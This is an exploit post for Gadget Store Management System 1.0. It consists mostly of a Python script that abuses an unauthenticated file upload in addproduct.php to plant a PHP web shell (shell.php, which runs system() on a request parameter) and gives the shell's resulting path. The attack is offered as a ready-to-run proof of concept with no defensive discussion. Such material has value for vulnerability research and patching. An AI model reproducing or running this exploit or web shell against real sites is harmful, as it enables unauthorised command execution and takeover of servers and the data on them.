Gadget Store Management System 1.0 Shell Upload

`# Exploit Title: Gadget Store Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)  
# Date: 04/04/2022  
# Exploit Author: Saud Alenazi  
# Vendor Homepage: https://www.campcodes.com/  
# Software Link: https://www.campcodes.com/projects/php/gadget-store-management-system/  
# Version: 1.0  
# Tested on: XAMPP, Linux  
# Contact: https://twitter.com/dmaral3noz  
  
  
  
*- url "http://localhost:80/gadgetsdb/addproduct.php"  
*- Path File : http://localhost/gadgetsdb/upload/shell.php  
  
---------------------------------------------------  
  
  
#!/bin/env python3  
import requests  
  
print ('''  
####################################################################################################   
# Gadget Store Management System 1.0 - Remote Code Execution (Unauthenticated) #  
# BY:Saud Alenazi #  
# 0xSaudi #  
####################################################################################################  
''')  
  
url = "http://localhost:80/gadgetsdb/addproduct.php"  
  
saud0 = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------4587377838466971711694098865", "Origin": "http://localhost", "Connection": "close", "Referer": "http://localhost/gadgetsdb/product.php", "Upgrade-Insecure-Requests": "1"}  
saud1 = "-----------------------------4587377838466971711694098865\r\nContent-Disposition: form-data; name=\"pname\"\r\n\r\ntest\r\n-----------------------------4587377838466971711694098865\r\nContent-Disposition: form-data; name=\"category\"\r\n\r\n4\r\n-----------------------------4587377838466971711694098865\r\nContent-Disposition: form-data; name=\"price\"\r\n\r\n100\r\n-----------------------------4587377838466971711694098865\r\nContent-Disposition: form-data; name=\"photo\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\r\nif($_REQUEST['s']) {\r\n system($_REQUEST['s']);\r\n } else phpinfo();\r\n?>\r\n</pre>\r\n</body>\r\n</html>\r\n-----------------------------4587377838466971711694098865--\r\n"  
requests.post(url, headers=saud0, data=saud1)  
  
`